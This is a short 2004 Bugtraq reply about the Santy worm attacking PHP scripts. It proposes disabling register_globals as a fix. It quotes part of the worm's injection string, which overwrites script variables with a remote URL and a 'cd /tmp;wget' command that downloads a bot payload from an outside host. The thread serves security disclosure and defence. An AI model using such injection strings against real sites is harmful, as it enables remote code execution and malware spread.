bugtraq - Re: New Santy-Worm attacks *all* PHP-skripts

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Date: Sat, 25 Dec 2004 21:59:50 +0200 (EET)
From: Pekka Savola <pekkas@...core.fi>
To: Juergen Schmidt <ju@...sec.de>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Re: New Santy-Worm attacks *all* PHP-skripts


On Sat, 25 Dec 2004, Juergen Schmidt wrote:
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
>
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...

And AFAICS, this can be prevented by setting register_globals=off in 
php.ini.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
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